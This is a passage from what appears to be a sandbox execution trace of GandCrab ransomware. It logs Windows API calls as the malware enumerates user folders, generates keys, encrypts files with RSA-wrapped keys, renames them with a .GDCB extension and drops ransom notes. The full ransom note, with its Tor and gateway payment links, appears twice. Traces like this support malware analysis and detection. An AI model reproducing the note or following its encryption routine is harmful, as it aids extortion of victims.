(lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2=".") returned 1 [0053.702] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="..") returned 1 [0053.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="lxRXkBM2nNswBBWWBk42.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4" [0053.702] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.702] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4") returned 62 [0053.702] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4") returned 62 [0053.702] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4") returned 62 [0053.702] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4") returned 62 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="desktop.ini") returned 1 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="autorun.inf") returned 1 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="ntuser.dat") returned -1 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="iconcache.db") returned 1 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="bootsect.bak") returned 1 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="boot.ini") returned 1 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="ntuser.dat.log") returned -1 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="thumbs.db") returned -1 [0053.702] lstrcmpiW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lxrxkbm2nnswbbwwbk42.mp4")) returned 0x20 [0053.702] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4", dwFileAttributes=0x20) returned 1 [0053.702] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.702] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4" [0053.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB" [0053.703] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.703] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.703] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.703] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.703] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.703] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.703] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.704] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.704] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.704] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.704] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.704] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.704] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.704] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.705] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.705] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58ff08) returned 1 [0053.707] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5893a0) returned 1 [0053.707] CryptGetKeyParam (in: hKey=0x5893a0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.707] CryptEncrypt (in: hKey=0x5893a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.707] GetLastError () returned 0x0 [0053.707] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.707] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.709] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589260) returned 1 [0053.709] CryptGetKeyParam (in: hKey=0x589260, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.709] CryptEncrypt (in: hKey=0x589260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.709] GetLastError () returned 0x0 [0053.709] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.709] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lxrxkbm2nnswbbwwbk42.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.710] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.710] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.710] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x1802e, lpOverlapped=0x0) returned 1 [0053.715] VirtualAlloc (lpAddress=0x0, dwSize=0x18030, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.716] VirtualAlloc (lpAddress=0x0, dwSize=0x18030, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0053.717] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.717] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-98350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.718] WriteFile (in: hFile=0x4f4, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x18030, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x18030, lpOverlapped=0x0) returned 1 [0053.718] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.718] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.721] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.721] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.721] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.721] CloseHandle (hObject=0x4f4) returned 1 [0053.723] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.723] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.723] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.723] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lxrxkbm2nnswbbwwbk42.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lxrxkbm2nnswbbwwbk42.mp4.gdcb")) returned 1 [0053.724] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.724] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.724] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.724] lstrcmpW (lpString1="Macromedia", lpString2=".") returned 1 [0053.724] lstrcmpW (lpString1="Macromedia", lpString2="..") returned 1 [0053.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0053.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\" [0053.725] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.725] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned 49 [0053.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*" [0053.725] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x5892e0 [0053.725] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.725] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.725] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.725] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.725] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.725] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0053.725] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0053.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0053.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned 61 [0053.725] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0053.725] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.725] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.726] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\\\GDCB-DECRYPT.txt") returned 66 [0053.726] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.727] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.727] WriteFile (in: hFile=0x4f4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285effc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285effc*=0xad6, lpOverlapped=0x0) returned 1 [0053.727] CloseHandle (hObject=0x4f4) returned 1 [0053.727] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned 49 [0053.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*" [0053.728] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x5892e0 [0053.728] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.728] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.728] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.728] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.728] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.728] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0053.728] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0053.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0053.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0053.728] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.728] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned 62 [0053.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0053.728] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x565640 [0053.728] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.728] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.729] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.729] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.729] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.729] lstrcmpW (lpString1="#SharedObjects", lpString2=".") returned -1 [0053.729] lstrcmpW (lpString1="#SharedObjects", lpString2="..") returned -1 [0053.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0053.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned 76 [0053.729] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.729] lstrcmpW (lpString1="macromedia.com", lpString2=".") returned 1 [0053.729] lstrcmpW (lpString1="macromedia.com", lpString2="..") returned 1 [0053.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0053.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 76 [0053.729] lstrcmpW (lpString1=".com", lpString2=".sql") returned -1 [0053.729] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.729] FindClose (in: hFindFile=0x565640 | out: hFindFile=0x565640) returned 1 [0053.729] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.729] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\\\GDCB-DECRYPT.txt") returned 79 [0053.729] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.731] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.731] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.732] CloseHandle (hObject=0x4f8) returned 1 [0053.732] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned 62 [0053.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0053.732] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x565640 [0053.732] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.732] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.733] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.733] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.733] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.733] lstrcmpW (lpString1="#SharedObjects", lpString2=".") returned -1 [0053.733] lstrcmpW (lpString1="#SharedObjects", lpString2="..") returned -1 [0053.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0053.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0053.733] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: 